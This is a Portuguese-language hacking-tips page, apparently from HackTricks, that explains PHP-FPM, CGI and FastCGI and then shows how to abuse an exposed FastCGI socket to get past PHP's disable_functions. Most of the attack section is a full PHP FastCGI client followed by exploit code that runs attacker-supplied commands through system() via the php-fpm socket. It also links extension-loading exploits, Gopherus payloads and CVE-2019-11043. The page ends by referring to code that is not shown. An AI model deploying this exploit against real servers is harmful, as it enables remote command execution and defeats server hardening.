Compartilhe seus truques de hacking enviando PRs para oHackTricks e HackTricks Cloud repositórios do github.
PHP-FPM
PHP-FPM é apresentado como uma alternativa superior ao padrão PHP FastCGI, oferecendo recursos que são particularmente benéficos para sites com alto tráfego. Ele opera por meio de um processo mestre que supervisiona uma coleção de processos trabalhadores. Para uma solicitação de script PHP, é o servidor web que inicia uma conexão de proxy FastCGI para o serviço PHP-FPM. Este serviço tem a capacidade de receber solicitações tanto por meio de portas de rede no servidor quanto por meio de sockets Unix.
Apesar do papel intermediário da conexão de proxy, o PHP-FPM precisa estar operacional na mesma máquina que o servidor web. A conexão que ele usa, embora baseada em proxy, difere das conexões de proxy convencionais. Ao receber uma solicitação, um trabalhador disponível do PHP-FPM a processa - executando o script PHP e depois encaminhando os resultados de volta para o servidor web. Após um trabalhador concluir o processamento de uma solicitação, ele fica disponível novamente para solicitações futuras.
Mas o que é CGI e FastCGI?
CGI
Normalmente páginas da web, arquivos e todos os documentos que são transferidos do servidor web para o navegador são armazenados em um diretório público específico, como home/user/public_html. Quando o navegador solicita determinado conteúdo, o servidor verifica este diretório e envia o arquivo necessário para o navegador.
Se o CGI estiver instalado no servidor, o diretório específico cgi-bin também é adicionado lá, por exemplo home/user/public_html/cgi-bin. Os scripts CGI são armazenados neste diretório. Cada arquivo no diretório é tratado como um programa executável. Ao acessar um script do diretório, o servidor envia a solicitação para a aplicação responsável por este script, em vez de enviar o conteúdo do arquivo para o navegador. Após o processamento dos dados de entrada ser concluído, a aplicação envia os dados de saída para o servidor web, que encaminha os dados para o cliente HTTP.
Por exemplo, quando o script CGI http://mysitename.com/cgi-bin/file.pl é acessado, o servidor executará a aplicação Perl apropriada por meio do CGI. Os dados gerados pela execução do script serão enviados pela aplicação para o servidor web. O servidor, por sua vez, transferirá os dados para o navegador. Se o servidor não tivesse CGI, o navegador teria exibido o próprio código do arquivo .pl. (explicação de aqui)
FastCGI
FastCGI é uma tecnologia web mais recente, uma versão aprimorada do CGI já que a funcionalidade principal permanece a mesma.
A necessidade de desenvolver o FastCGI é que a Web foi surgida pelo rápido desenvolvimento e complexidade das aplicações, bem como para abordar as deficiências de escalabilidade da tecnologia CGI. Para atender a esses requisitos, a Open Market introduziu o FastCGI - uma versão de alto desempenho da tecnologia CGI com capacidades aprimoradas.
Bypass de disable_functions
É possível executar código PHP abusando do FastCGI e evitando as limitações de disable_functions.
Via Gopherus
Não tenho certeza se isso está funcionando em versões modernas porque tentei uma vez e não executou nada. Por favor, se você tiver mais informações sobre isso, entre em contato comigo via [grupo do telegram PEASS & HackTricks aqui](https://t.me/peass), ou twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Usando Gopherus você pode gerar um payload para enviar ao ouvinte FastCGI e executar comandos arbitrários:
Não tenho certeza se isso funciona em versões modernas porque tentei uma vez e não consegui executar nada. Na verdade, consegui ver que phpinfo() da execução FastCGI indicava que disable_functions estava vazio, mas o PHP (de alguma forma) ainda estava me impedindo de executar qualquer função previamente desativada. Por favor, se tiver mais informações sobre isso, entre em contato comigo via [grupo telegram PEASS & HackTricks aqui](https://t.me/peass), ou twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Solicitação inválida');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Este aplicativo não pode multiplexar [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Nova solicitação rejeitada; ocupado demais [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Valor de função desconhecido [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// exploração real começa aquiif (!isset($_REQUEST['cmd'])) {die("Verifique sua entrada\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // carga útil php -- Não faz nada$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Chamada: $uri\n\n";echo $client->request($params, $code)."\n";?>
Usando a função anterior, você verá que a função system ainda está desativada, mas o phpinfo() mostra disable_functionsvazio:
Portanto, acredito que você só pode definir disable_functions por meio dos arquivos de configuração do php .ini e o PHP_VALUE não substituirá essa configuração.
Este é um script php para explorar o protocolo fastcgi e contornar open_basedir e disable_functions.
Isso ajudará você a contornar as disable_functions restritas para RCE carregando a extensão maliciosa.
Você pode acessá-lo aqui: https://github.com/w181496/FuckFastcgi ou uma versão ligeiramente modificada e melhorada aqui: https://github.com/BorelEnzo/FuckFastcgi
Você verá que o exploit é muito semelhante ao código anterior, mas em vez de tentar contornar disable_functions usando PHP_VALUE, ele tenta carregar um módulo PHP externo para executar código usando os parâmetros extension_dir e extension dentro da variável PHP_ADMIN_VALUE.
NOTA1: Você provavelmente precisará recompilar a extensão com a mesma versão do PHP que o servidor está usando (você pode verificar isso dentro da saída do phpinfo):
NOTA2: Consegui fazer isso funcionar inserindo os valores extension_dir e extension dentro de um arquivo de configuração PHP .ini (algo que você não poderá fazer atacando um servidor). Mas por algum motivo, ao usar esse exploit e carregar a extensão da variável PHP_ADMIN_VALUE, o processo simplesmente morreu, então não sei se essa técnica ainda é válida.
Vulnerabilidade de Execução de Código Remoto PHP-FPM (CVE-2019–11043)
Então, você pode pegar a carga útil urlencoded e decodificá-la e transformá-la em base64, usando esta receita do cyberchef, por exemplo. E então copiar/colar o base64 neste código php: